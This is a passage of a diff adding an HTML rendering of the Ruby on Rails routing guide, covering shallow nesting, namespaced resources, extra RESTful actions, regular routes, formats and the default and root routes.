+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable recognition of (among others) these routes:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/publishers/1 ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2 ==> magazine_path(2)
+/magazines/2/photos ==> magazines_photos_path(2)
+/photos/3 ==> photo_path(3)</tt></pre>
+</div></div>
+<div class="para"><p>With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with - but you <em>can</em> supply more information. All of the nested routes continue to work, just as they would without shallow nesting, but less-deeply nested routes (even direct routes) work as well. So, with the declaration above, all of these routes refer to the same resource:</p></div>
+<div class="listingblock">
+<div class="content">
+<pre><tt>/publishers/1/magazines/2/photos/3 ==> publisher_magazine_photo_path(1,2,3)
+/magazines/2/photos/3 ==> magazine_photo_path(2,3)
+/photos/3 ==> photo_path(3)</tt></pre>
+</div></div>
+<div class="para"><p>Shallow nesting gives you the flexibility to use the shorter direct routes when you like, while still preserving the longer nested routes for times when they add code clarity.</p></div>
+<div class="para"><p>If you like, you can combine shallow nesting with the <tt>:has_one</tt> and <tt>:has_many</tt> options:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>publishers<span style="color: #990000">,</span> <span style="color: #990000">:</span>has_many <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>magazines <span style="color: #990000">=></span> <span style="color: #990000">:</span>photos <span style="color: #FF0000">}</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>shallow <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<h3 id="_route_generation_from_arrays">3.9. Route Generation from Arrays</h3>
+<div class="para"><p>In addition to using the generated routing helpers, Rails can also generate RESTful routes from an array of parameters. For example, suppose you have a set of routes generated with these entries in routes.rb:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>magazines <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>magazine<span style="color: #990000">|</span>
+ magazine<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ads
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails will generate helpers such as magazine_ad_path that you can use in building links:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= link_to "Ad details", magazine_ad_path(@magazine, @ad) %></span>
+</tt></pre></div></div>
+<div class="para"><p>Another way to refer to the same route is with an array of objects:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= link_to "Ad details", [@magazine, @ad] %></span>
+</tt></pre></div></div>
+<div class="para"><p>This format is especially useful when you might not know until runtime which of several types of object will be used in a particular link.</p></div>
+<h3 id="_namespaced_resources">3.10. Namespaced Resources</h3>
+<div class="para"><p>It's possible to do some quite complex things by combining <tt>:path_prefix</tt> and <tt>:name_prefix</tt>. For example, you can use the combination of these two options to move administrative resources to their own folder in your application:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'admin'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'admin/photos'</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'admin/photo_tags'</span>
+map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>ratings<span style="color: #990000">,</span> <span style="color: #990000">:</span>name_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'admin_photo_'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>path_prefix <span style="color: #990000">=></span> <span style="color: #FF0000">'admin/photos/:photo_id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'admin/photo_ratings'</span>
+</tt></pre></div></div>
+<div class="para"><p>The good news is that if you find yourself using this level of complexity, you can stop. Rails supports <em>namespaced resources</em> to make placing resources in their own folder a snap. Here's the namespaced version of those same three routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>namespace<span style="color: #990000">(:</span>admin<span style="color: #990000">)</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>admin<span style="color: #990000">|</span>
+ admin<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>has_many <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>tags<span style="color: #990000">,</span> <span style="color: #990000">:</span>ratings<span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>As you can see, the namespaced version is much more succinct than the one that spells everything out - but it still creates the same routes. For example, you'll get <tt>admin_photos_url</tt> that expects to find an <tt>Admin::PhotosController</tt> and that matches <tt>admin/photos</tt>, and <tt>admin_photos_ratings+path</tt> that matches <tt>/admin/photos/<em>photo_id</em>/ratings</tt>, expecting to use <tt>Admin::RatingsController</tt>. Even though you're not specifying <tt>path_prefix</tt> explicitly, the routing code will calculate the appropriate <tt>path_prefix</tt> from the route nesting.</p></div>
+<h3 id="_adding_more_restful_actions">3.11. Adding More RESTful Actions</h3>
+<div class="para"><p>You are not limited to the seven routes that RESTful routing creates by default. If you like, you may add additional member routes (those which apply to a single instance of the resource), additional new routes (those that apply to creating a new resource), or additional collection routes (those which apply to the collection of resources as a whole).</p></div>
+<h4 id="_adding_member_routes">3.11.1. Adding Member Routes</h4>
+<div class="para"><p>To add a member route, use the <tt>:member</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>preview <span style="color: #990000">=></span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/1/preview</tt> using the GET HTTP verb, and route them to the preview action of the Photos controller. It will also create a <tt>preview_photo</tt> route helper.</p></div>
+<div class="para"><p>Within the hash of member routes, each route name specifies the HTTP verb that it will recognize. You can use <tt>:get</tt>, <tt>:put</tt>, <tt>:post</tt>, <tt>:delete</tt>, or <tt>:any</tt> here. You can also specify an array of methods, if you need more than one but you don't want to allow just anything:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>member <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>prepare <span style="color: #990000">=></span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_adding_collection_routes">3.11.2. Adding Collection Routes</h4>
+<div class="para"><p>To add a collection route, use the <tt>:collection</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=></span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/search</tt> using the GET HTTP verb, and route them to the search action of the Photos controller. It will also create a <tt>search_photos</tt> route helper.</p></div>
+<div class="para"><p>Just as with member routes, you can specify an array of methods for a collection route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>collection <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>search <span style="color: #990000">=></span> <span style="color: #990000">[:</span>get<span style="color: #990000">,</span> <span style="color: #990000">:</span>post<span style="color: #990000">]</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<h4 id="_adding_new_routes">3.11.3. Adding New Routes</h4>
+<div class="para"><p>To add a new route (one that creates a new resource), use the <tt>:new</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>upload <span style="color: #990000">=></span> <span style="color: #990000">:</span>post <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will enable Rails to recognize URLs such as <tt>/photos/upload</tt> using the POST HTTP verb, and route them to the upload action of the Photos controller. It will also create a <tt>upload_photos</tt> route helper.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you want to redefine the verbs accepted by one of the standard actions, you can do so by explicitly mapping that action. For example:</td>
+</tr></table>
+</div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>resources <span style="color: #990000">:</span>photos<span style="color: #990000">,</span> <span style="color: #990000">:</span>new <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>new <span style="color: #990000">=></span> <span style="color: #990000">:</span>any <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This will allow the new action to be invoked by any request to <tt>photos/new</tt>, no matter what HTTP verb you use.</p></div>
+<h4 id="_a_note_of_caution">3.11.4. A Note of Caution</h4>
+<div class="para"><p>If you find yourself adding many extra actions to a RESTful route, it's time to stop and ask yourself whether you're disguising the presence of another resource that would be better split off on its own. When the <tt>:member</tt> and <tt>:collection</tt> hashes become a dumping-ground, RESTful routes lose the advantage of easy readability that is one of their strongest points.</p></div>
+</div>
+<h2 id="_regular_routes_2">4. Regular Routes</h2>
+<div class="sectionbody">
+<div class="para"><p>In addition to RESTful routing, Rails supports regular routing - a way to map URLs to controllers and actions. With regular routing, you don't get the masses of routes automatically generated by RESTful routing. Instead, you must set up each route within your application separately.</p></div>
+<div class="para"><p>While RESTful routing has become the Rails standard, there are still plenty of places where the simpler regular routing works fine. You can even mix the two styles within a single application. In general, you should prefer RESTful routing <em>when possible</em>, because it will make parts of your application easier to write. But there's no need to try to shoehorn every last piece of your application into a RESTful framework if that's not a good fit.</p></div>
+<h3 id="_bound_parameters">4.1. Bound Parameters</h3>
+<div class="para"><p>When you set up a regular route, you supply a series of symbols that Rails maps to parts of an incoming HTTP request. Two of these symbols are special: <tt>:controller</tt> maps to the name of a controller in your application, and <tt>:action</tt> maps to the name of an action within that controller. For example, consider one of the default Rails routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+</tt></pre></div></div>
+<div class="para"><p>If an incoming request of <tt>/photos/show/1</tt> is processed by this route (because it hasn't matched any previous route in the file), then the result will be to invoke the <tt>show</tt> action of the <tt>Photos</tt> controller, and to make the final parameter (1) available as <tt>params[:id]</tt>.</p></div>
+<h3 id="_wildcard_components">4.2. Wildcard Components</h3>
+<div class="para"><p>You can set up as many wildcard symbols within a regular route as you like. Anything other than <tt>:controller</tt> or <tt>:action</tt> will be available to the matching action as part of the params hash. So, if you set up this route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/:user_id'</span>
+</tt></pre></div></div>
+<div class="para"><p>An incoming URL of <tt>/photos/show/1/2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be set to 2.</p></div>
+<h3 id="_static_text">4.3. Static Text</h3>
+<div class="para"><p>You can specify static text when creating a route. In this case, the static text is used only for matching the incoming requests:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id/with_user/:user_id'</span>
+</tt></pre></div></div>
+<div class="para"><p>This route would respond to URLs such as <tt>/photos/show/1/with_user/2</tt>.</p></div>
+<h3 id="_querystring_parameters">4.4. Querystring Parameters</h3>
+<div class="para"><p>Rails routing automatically picks up querystring parameters and makes them available in the <tt>params</tt> hash. For example, with this route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+</tt></pre></div></div>
+<div class="para"><p>An incoming URL of <tt>/photos/show/1?user_id=2</tt> will be dispatched to the <tt>show</tt> action of the <tt>Photos</tt> controller. <tt>params[:id]</tt> will be set to 1, and <tt>params[:user_id]</tt> will be equal to 2.</p></div>
+<h3 id="_defining_defaults">4.5. Defining Defaults</h3>
+<div class="para"><p>You do not need to explicitly use the <tt>:controller</tt> and <tt>:action</tt> symbols within a route. You can supply defaults for these two parameters in a hash:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'show'</span>
+</tt></pre></div></div>
+<div class="para"><p>With this route, an incoming URL of <tt>/photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller.</p></div>
+<div class="para"><p>You an also define other defaults in a route by supplying a hash for the <tt>:defaults</tt> option. This even applies to parameters that are not explicitly defined elsewhere in the route. For example:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>defaults <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>format <span style="color: #990000">=></span> <span style="color: #FF0000">'jpg'</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>With this route, an incoming URL of <tt>photos/12</tt> would be dispatched to the <tt>show</tt> action within the <tt>Photos</tt> controller, and <tt>params[:format]</tt> will be set to <tt>jpg</tt>.</p></div>
+<h3 id="_named_routes_2">4.6. Named Routes</h3>
+<div class="para"><p>Regular routes need not use the <tt>connect</tt> method. You can use any other name here to create a <em>named route</em>. For example,</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>logout <span style="color: #FF0000">'/logout'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'sessions'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'destroy'</span>
+</tt></pre></div></div>
+<div class="para"><p>This will do two things. First, requests to <tt>/logout</tt> will be sent to the <tt>destroy</tt> method of the <tt>Sessions</tt> controller. Second, Rails will maintain the <tt>logout_path</tt> and <tt>logout_url</tt> helpers for use within your code.</p></div>
+<h3 id="_route_requirements">4.7. Route Requirements</h3>
+<div class="para"><p>You can use the <tt>:requirements</tt> option to enforce a format for any parameter in a route:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>requirements <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>id <span style="color: #990000">=></span> <span style="color: #FF6600">/[A-Z]\d{5}/</span> <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>This route would respond to URLs such as <tt>/photo/A12345</tt>. You can more succinctly express the same route this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>id <span style="color: #990000">=></span> <span style="color: #FF6600">/[A-Z]\d{5}/</span>
+</tt></pre></div></div>
+<h3 id="_route_conditions">4.8. Route Conditions</h3>
+<div class="para"><p>Route conditions (introduced with the <tt>:conditions</tt> option) are designed to implement restrictions on routes. Currently, the only supported restriction is <tt>:method</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/:id'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'show'</span><span style="color: #990000">,</span>
+ <span style="color: #990000">:</span>conditions <span style="color: #990000">=></span> <span style="color: #FF0000">{</span> <span style="color: #990000">:</span>method <span style="color: #990000">=></span> <span style="color: #990000">:</span>get <span style="color: #FF0000">}</span>
+</tt></pre></div></div>
+<div class="para"><p>As with conditions in RESTful routes, you can specify <tt>:get</tt>, <tt>:post</tt>, <tt>:put</tt>, <tt>:delete</tt>, or <tt>:any</tt> for the acceptable method.</p></div>
+<h3 id="_route_globbing">4.9. Route Globbing</h3>
+<div class="para"><p>Route globbing is a way to specify that a particular parameter (which must be the last parameter in the route) should be matched to all the remaining parts of a route. For example</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">'photo/*other'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'photos'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'unknown'</span><span style="color: #990000">,</span>
+</tt></pre></div></div>
+<div class="para"><p>This route would match <tt>photo/12</tt> or <tt>/photo/long/path/to/12</tt> equally well, creating an array of path segments as the value of <tt>params[:other]</tt>.</p></div>
+<h3 id="_route_options">4.10. Route Options</h3>
+<div class="para"><p>You can use <tt>:with_options</tt> to simplify defining groups of similar routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>with_options <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">'photo'</span> <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>photo<span style="color: #990000">|</span>
+ photo<span style="color: #990000">.</span>list <span style="color: #FF0000">''</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'index'</span>
+ photo<span style="color: #990000">.</span>delete <span style="color: #FF0000">':id/delete'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'delete'</span>
+ photo<span style="color: #990000">.</span>edit <span style="color: #FF0000">':id/edit'</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">'edit'</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>The importance of <tt>map.with_options</tt> has declined with the introduction of RESTful routes.</p></div>
+</div>
+<h2 id="_formats_and_respond_to">5. Formats and respond_to</h2>
+<div class="sectionbody">
+<div class="para"><p>There's one more way in which routing can do different things depending on differences in the incoming HTTP request: by issuing a response that corresponds to what the request specifies that it will accept. In Rails routing, you can control this with the special <tt>:format</tt> parameter in the route.</p></div>
+<div class="para"><p>For instance, consider the second of the default routes in the boilerplate <tt>routes.rb</tt> file:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
+<div class="para"><p>This route matches requests such as <tt>/photo/edit/1.xml</tt> or <tt>/photo/show/2.rss</tt>. Within the appropriate action code, you can issue different responses depending on the requested format:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>respond_to <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>format<span style="color: #990000">|</span>
+ format<span style="color: #990000">.</span>html <span style="font-style: italic"><span style="color: #9A1900"># return the default template for HTML</span></span>
+ format<span style="color: #990000">.</span>xml <span style="color: #FF0000">{</span> render <span style="color: #990000">:</span>xml <span style="color: #990000">=></span> <span style="color: #009900">@photo</span><span style="color: #990000">.</span>to_xml <span style="color: #FF0000">}</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<h3 id="_specifying_the_format_with_an_http_header">5.1. Specifying the Format with an HTTP Header</h3>
+<div class="para"><p>If there is no <tt>:format</tt> parameter in the route, Rails will automatically look at the HTTP Accept header to determine the desired format.</p></div>
+<h3 id="_recognized_mime_types">5.2. Recognized MIME types</h3>
+<div class="para"><p>By default, Rails recognizes <tt>html</tt>, <tt>text</tt>, <tt>json</tt>, <tt>csv</tt>, <tt>xml</tt>, <tt>rss</tt>, <tt>atom</tt>, and <tt>yaml</tt> as acceptable response types. If you need types beyond this, you can register them in your environment:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>Mime<span style="color: #990000">::</span>Type<span style="color: #990000">.</span>register <span style="color: #FF0000">"image/jpg"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>jpg
+</tt></pre></div></div>
+</div>
+<h2 id="_the_default_routes">6. The Default Routes</h2>
+<div class="sectionbody">
+<div class="para"><p>When you create a new Rails application, <tt>routes.rb</tt> is initialized with two default routes:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id'</span>
+map<span style="color: #990000">.</span>connect <span style="color: #FF0000">':controller/:action/:id.:format'</span>
+</tt></pre></div></div>
+<div class="para"><p>These routes provide reasonable defaults for many URLs, if you're not using RESTful routing.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">The default routes will make every action of every controller in your application accessible to GET requests. If you've designed your application to make consistent use of RESTful and named routes, you should comment out the default routes to prevent access to your controllers through the wrong verbs. If you've had the default routes enabled during development, though, you need to be sure that you haven't unwittingly depended on them somewhere in your application - otherwise you may find mysterious failures when you disable them.</td>
+</tr></table>
+</div>
+</div>
+<h2 id="_the_empty_route">7. The Empty Route</h2>
+<div class="sectionbody">
+<div class="para"><p>Don't confuse the default routes with the empty route. The empty route has one specific purpose: to route requests that come in to the root of the web site. For example, if your site is example.com, then requests to <tt>http://example.com</tt> or <tt>http://example.com/</tt> will be handled by the empty route.</p></div>
+<h3 id="_using_map_root">7.1. Using map.root</h3>
+<div class="para"><p>The preferred way to set up the empty route is with the <tt>map.root</tt> command:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"main"</span>
+</tt></pre></div></div>
+<div class="para"><p>The use of the <tt>root</tt> method tells Rails that this route applies to requests for the root of the site.</p></div>
+<div class="para"><p>For better readability, you can specify an already-created route in your call to <tt>map.root</tt>:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>map<span style="color: #990000">.</span>index <span style="color: #990000">:</span>controller <span style="color: #990000">=></span> <span style="color: #FF0000">"pages"</span><span style="color: #990000">,</span> <span style="color: #990000">:</span>action <span style="color: #990000">=></span> <span style="color: #FF0000">"main"</span>
+map<span style="color: #990000">.</span>root <span style="color: #990000">:</span>index
+</tt></pre></div></div>
+<div class="para"><p>Because of the top-down processing of the file, the named route must be specified <em>before</em> the call to <tt>map.root</tt>.</p></div>
